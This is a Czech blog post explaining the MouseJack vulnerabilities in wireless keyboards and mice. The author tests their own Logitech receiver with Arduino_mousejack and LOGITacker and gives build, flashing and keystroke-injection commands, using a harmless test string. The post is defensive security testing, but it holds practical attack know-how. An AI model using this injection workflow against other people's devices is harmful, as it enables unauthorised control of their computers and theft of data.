FK~

Moje odkazy

Ostatní odkazy

EFF: svoboda blogování
Close Windows
Nenajdete mě na Facebooku ani Twitteru
Rozpad EU
Jsem členem FSF
Jsem členem EFF
There Is No Cloud …just other people's computers.

Pozor na bezdrátové klávesnice a myši (MouseJack)

vydáno: 16. 8. 2019 23:55, aktualizováno: 17. 8. 2019 01:18

Nedávno médii proběhla další vlna zpráv o děravých bezdrátových klávesnicích a myších. Bezpečnostních upozornění je čím dál víc a pro hodně lidí se z toho stává jen šum, který přestávají vnímat. Často jde o díry v serverovém softwaru nebo zranitelnosti zneužitelné za hodně specifických podmínek. Tento útok se ale týká přímo koncových uživatelů, lze ho provést snadno a může napáchat velké škody, takže si myslím, že je dobré mu věnovat pozornost.

Nordic nRF52840, Logitech, bezpečnost bezdrátových myší a klávesnic, MouseJack

Poprvé na tenhle problém upozornila v roce 2016 firma Bastille Networks a nazvala ho MouseJack. Letos vyšly na světlo další zranitelnosti, kterých využívá program LOGITacker. Jednu bezdrátovou klávesnici kombinovanou s myší tu mám a i když ji nepoužívám, chtěl jsem otestovat, zda ji lze tímto způsobem napadnout.

Jaká zařízení jsou ohrožena

Jde o dnes prodávané bezdrátové klávesnice a myši pracující v bezlicenčním pásmu 2,4 GHz a používající obvykle rádiové čipy od firmy Nordic Semiconductor. Na trhu se tyto výrobky prodávají pod značkami jako Logitech, Lenovo, Microsoft, HP, Dell aj.

Tyto útoky se netýkají Bluetooth zařízení (byť pracují na stejné frekvenci) ani starších výrobků, které pracují obvykle na nižších frekvencích a používají jiné protokoly – ty sice byly často ještě děravější než současná produkce, ale dnešní nástroje ani útočníci se na ně už moc nezaměřují, protože tento už HW málokdo používá (alespoň ne ve firmách, kde by útok byl nejzajímavější).

Možná rizika

Opravdu nejde o to, že by nám někdo jen hýbal kurzorem a tím nás rozčiloval…

  • Pasivní útok: záškodník nevysílá a jen odposlouchává (díky tomu je hůře odhalitelný), může zachytit např. heslo nebo text e-mailu psané na bezdrátové klávesnici. Útočník může odposlouchávací zařízení schovat např. v nějaké firmě, kterou navštívil třeba jako uchazeč o zaměstnání nebo potenciální obchodní partner, a nechat ho tam měsíc a pak si ho při další návštěvě vyzvednout – nebo k němu přidat i vysílací část (např. GSM/LTE) a nemuset se ani vracet na místo činu. Už jen představa, kolik citlivých dat by se podařilo takto nasbírat, je celkem děsivá.
  • Aktivní útok: záškodník vysílá a simuluje tak stisky kláves nebo pohyby myši. Typický scénář je ten, že zadá klávesové zkratky, které povedou k otevření webového prohlížeče nebo příkazového řádku a následnému stažení a spuštění skriptu, který do počítače oběti nainstaluje zadní vrátka. I počítač, který není připojen k internetu, lze takto napadnout – útočník může zadat celý skript skrze klávesnici nebo třeba vytvořit nový uživatelský účet, změnit heslo nebo přidat vlastní klíče, aby se mohl k počítači (až bude někde online) připojit.
  • Pasivní sledování: zde dojde pouze k identifikaci oběti (resp. jejího zařízení) a zaznamenání, že se v daný čas nacházela na daném místě. Je to méně nebezpečné než pasivní a aktivní útok, ale stále jde o riziko – tímto způsobem lze sledovat pohyb osob, jejich příchody a odchody z budovy nebo dělat statistiky, kolik asi osob se v daném prostoru nachází. Tomuto riziku jsme vystaveni i u technologií jako Bluetooth, WiFi nebo u mobilních telefonů.

V čem je problém

Na samotném bezdrátovém přenosu na frekvenci 2,4 GHz není v zásadě nic špatného… pokud se to udělá dobře tzn. použije se dostatečně silná šifra, vhodný protokol pro výměnu klíčů, párování a všechno kolem. V praxi se to ale často dobře nedělá a můžeme se setkat s následujícími problémy:

  • nešifruje se vůbec – to se naštěstí dnes moc neděje
  • šifruje se jen klávesnice, ale ne myš – tohle je samo o sobě problém, protože i jen klikáním myší se dají napáchat škody
  • nešifrovaným kanálem myši projdou i klávesnicové události – což je opravdu děsivé, protože i když je klávesnicový kanál zabezpečený sebelépe, útočník ho obejde o odesílá stisky kláves skrze kanál myši a přijímač i ovladač tyto stisky kláves ochotně přijmou a pošlou operačnímu systému; je to asi jako kdybychom si koupili skvělé bezpečnostní dveře, ale nechali otevřené okno do koupelny…
  • sice se šifruje, ale šifru lze prolomit nebo se třeba spárovat s cizím přijímačem a posílat do něj svoje stisky kláves

nRF24 + Arduino

Nejdříve jsem zkoušel štěstí s bezdrátovým modulem nRF24, který se mi tu válel doma, a s programem Arduino_mousejack, který se nahrává do Arduina a má sloužit k autonomním útokům – stačí připojit jen napájení – ve firmwaru je totiž vložený skript (posloupnost stisků kláves), který se má provést po úspěšném napadení oběti. Stav signalizuje blikání diody na Arduinu.

nRF24, hackování bezdrátových klávesnic a myší

Program se kompiluje a nahrává pomocí nástroje PlatformIO, o kterém jsem psal např. v článku The Things Network – LoRaWAN – IoT (doporučuji si tam přečíst i tu poznámku k bezpečnosti).

# upravíme si skript, který se má vykonat:
emacs tools/ducky.txt

# vygenerujeme z něj attack.h:
tools/attack_generator.py tools/ducky.txt

# zkompilujeme:
platformio run

# nahrajeme firmare do Arduina:
platformio run --target upload

I když by teď zařízení mělo pracovat samostatně, pro ladění se k němu připojíme přes sériový port:

screen /dev/ttyUSB0

Program nám pak vypisuje, co dělá – projíždí všechny kanály (v každém cyklu vypíše „starting channel sweep“) a snaží se zachytit přenášená data:

starting scan...
STATUS           = 0x0e RX_DR=0 TX_DS=0 MAX_RT=0 RX_P_NO=7 TX_FULL=0
RX_ADDR_P0-1     = 0x00000000aa 0xc2c2c2c2c2
RX_ADDR_P2-5     = 0xc3 0xc4 0xc5 0xc6
TX_ADDR          = 0xe7e7e7e7e7
RX_PW_P0-6       = 0x20 0x00 0x00 0x00 0x00 0x00
EN_AA            = 0x00
EN_RXADDR        = 0x01
RF_CH            = 0x19
RF_SETUP         = 0x09
CONFIG           = 0x07
DYNPD/FEATURE    = 0x00 0x00
Data Rate        = 2MBPS
Model            = nRF24L01+
CRC Length       = Disabled
PA Power         = PA_MIN
starting channel sweep
starting channel sweep
starting channel sweep
starting channel sweep
found packet /w valid crc... payload is empty. scanning...
found packet /w valid crc... payload is empty. scanning...
starting channel sweep
found packet /w valid crc... payload is empty. scanning...
found packet /w valid crc... payload is empty. scanning...
starting channel sweep
found packet /w valid crc... payload is empty. scanning...
found packet /w valid crc... payload is empty. scanning...
starting channel sweep
starting channel sweep
starting channel sweep
starting channel sweep

Komunikace mezi Arduinem a rádiovým modulem zjevně funguje a nějaké pakety z klávesnice/myši se zachytit podařilo. Vždy to ale končilo na „payload is empty“.

Po delší době se mi jednou vypsalo:

found packet /w valid crc... payload length is 6
ch: 27 s: 6 a: …  p: …
starting attack

avšak na cílovém počítači se nic nestalo. Ještě si s tím zkusím trochu pohrát, nicméně zatím se mi pomocí tohoto softwaru útok provést nepodařilo – to ale ještě neznamená, že daná klávesnice/myš je bezpečná. Také je možné, že s jinou myší by tento software fungoval.

Nordic nRF52840 (PCA10059)

Firma Nordic Semiconductor dodává vývojovou destičku s čipem nRF52840 – ta obsahuje USB konektor a vše, co je potřeba – slouží k vývoji prototypů. A k tomuto zařízení mame82 napsal firmware LOGITacker, který umožňuje odposlouchávat a ovládat bezdrátové klávesnice a myši. Druhý pokus jsem tedy provedl s tímto vybavením.

Nordic nRF52840, Logitech, bezpečnost bezdrátových myší a klávesnic, MouseJack

Na obrázku je PCA10059 od Nordicu a USB přijímač dodávaný s klávesnicemi a myšmi od Logitechu (tzv. Logitech Unifying receiver). Na tento příjímač budeme útočit, abychom zjistili, zda je naše klávesnice nebo myš zranitelná.

Kompilace

Postup kompilace LOGITackeru bohužel není zdokumentovaný, takže si musíme poradit sami. Soubor Makefile sice v podadresářích najdeme, ale nejde to sestavit jen tak, protože se odkazuje na cestu ../../../../../../components/toolchain/gcc/Makefile.common což je tedy jakési lokální nastavení, které má autor na svém počítači.

Tak si stáhneme SDK od Nordicu a rozbalíme do nějakého adresáře. Soubor Makefile.common tam je, takže máme štěstí. Cestu k SDK pak nastavíme v pca10059/blank/armgcc/Makefile v proměnné SDK_ROOT. Dále potřebujeme kompilátor, který si v Debianu/Ubuntu nainstalujeme následujícím příkazem:

apt install gcc-arm-none-eabi

A v souboru components/toolchain/gcc/Makefile.posix si pak nastavíme cestu k němu:

GNU_INSTALL_ROOT ?= /usr/bin/
GNU_VERSION ?= 6.3.1

Teď už nám make projde hladce a výsledkem je soubor _build/logitacker_pca10059.hex.

Nahrání firmwaru

Firmware, který jsme si zkompilovali (případně ten, který autor uložil do adresáře build v gitu), si teď nahrajeme do zařízení. K tomu potřebujeme nástroj nrfutil od Nordicu – ten si naisntalujeme příkazem:

pip install nrfutil

Potom z HEX souboru vyrobíme ZIP obsahující kromě binárky i nějaká metadata:

nrfutil pkg generate logitacker.zip --application logitacker_pca10059.hex --debug-mode --hw-version 52 --sd-req 0

Jelikož nechceme pouštět potenciálně nebezpečný kód pod rootem, používáme pro tyto účely vyhrazený počítač nebo alespoň uživatelský účet – tomu je potřeba nejprve povolit přístup k danému sériovému portu:

setfacl -m u:hacker:rw /dev/ttyACM0 # případně vytvoříme pravidlo pro udev

A na rozdíl od Arduina nestačí PCA10059 zastrčit do USB portu a je potřeba ho do režimu, ve kterém lze nahrávat firmware, přepnout hardwarovým tlačítkem (tím menším s nápisem RESET). Teď už můžeme ZIP s firmwarem poslat do našeho zařízení:

nrfutil dfu usb-serial --package logitacker.zip --port /dev/ttyACM0

Použití

K zařízení se připojíme přes sériový port:

screen /dev/ttyACM0

a ovládáme ho zadáváním příkazů. Rozhraní je dokonce barevné a funguje v něm napovídání tabulátorem:

LOGITacker – rozhraní a příkazy

Bohužel tu nefunguje Backspace, takže když uděláme překlep, musíme použít Ctrl+h.

Na rozdíl od kompilace autor příkazy a použití celkem zdokumentoval. V základním režimu, do kterého jsme se dostali, zařízení sleduje rádiový provoz a loguje ho – takže když např. připojíme USB přijímač, zapneme klávesnici nebo pohneme myší, hned vidíme, že se něco děje. přízak devices nám vypíše nalezená zařízení:

LOGITacker – zařízení – bez klávesnice a myši

Když něco napíšeme na klávesnici nebo pohneme myší, LOGITacker z toho pozná, o jaké zařízení se jedná a upraví výpis – v tomto případě jde o kombinovanou klávesnici s myší od Logitechu:

LOGITacker – zařízení – rozpoznána klávesnice a myš

Vidíme, že klávesnice je šifrovaná a myš nešifrovaná. Teď si můžeme připravit skript (posloupnost stisků kláves) a poslat ho do přijímače, který testujeme:

script delay 5000
script string ahoj

inject target 76:2A:94:0F:07
inject execute

Pokud je zařízení zranitelné, tak se pět vteřin počká (tento čas můžeme využít na přepnutí do textového editoru) a následně se simulují stisky kláves a h o j. Kdybychom byli zlý útočník, tak bychom sem vložili stisky kláves, které povedou ke stažení nějakého škodlivého kódu a k napadení počítače oběti. Nám ale stačí, že jsme zjistili, že naše klávesnice/myš je děravá a že je nebezpečné ji používat. Dále můžeme udělat:

active_enum 76:2A:94:0F:07

Což aktivně komunikuje s cílovým zařízením a je to schopné najít klávesnici k dané myši, i když jsme na klávesnici zatím nic nepsali. Výstup příkau devices se nám pak změní na:

LOGITacker – zařízení – dešifrovaná klávesnice a myš

Pomocí passive_enum by pak mělo být možné odposlouchávání a přeposílání události skrze USB do našeho počítače (kromě sériového portu totiž PCA10059 s LOGITacker firmwarem funguje i jako USB HID klávesnice a myš)…

Nordic nRF52840, Logitech, bezpečnost bezdrátových myší a klávesnic, MouseJack

PCA10059 má flash paměť, takže si připravené skripty můžeme ukládat do ní. Rovněž se do ní ukládají nalezená zařízení. Tuto paměť můžeme vymazat příkazem erase_flash.

Závěr

Dnes jsme si prakticky ukázali, jak velký problém dokáže způsobit nenápadný a nevinně vyhlížející příjímač zasunutý do USB portu našeho počítače. Pokud si nejste jistí, je lepší tato zařízení nepoužívat a přejít na klasické drátové klávesnice a myši. n.b. nestačí vypnout klávesnici nebo myš – je potřeba vypojit rádiový přijímač z USB portu, protože zranitelný je primárně ten. Pokud výrobce vašeho hardwaru vydá upgrade ovladačů/firmwaru, může se to tím spravit. Nicméně i tak bych všechna svoje zařízení doporučoval průběžně testovat tím, že na ně bute útočit dostupnými nástroji.

Přílohy:

Odkazy a zdroje:

Témata: [crack] [počítačová bezpečnost] [hardware]

Komentáře čtenářů

Tento článek zatím nikdo nekomentoval

Přidat komentář

reagujete na jiný komentář (zrušit)
jméno nebo přezdívka
název příspěvku
webová stránka, blog
e-mailová adresa
nápověda: možnosti formátování
ochrana proti spamu a trollům

Náhled komentáře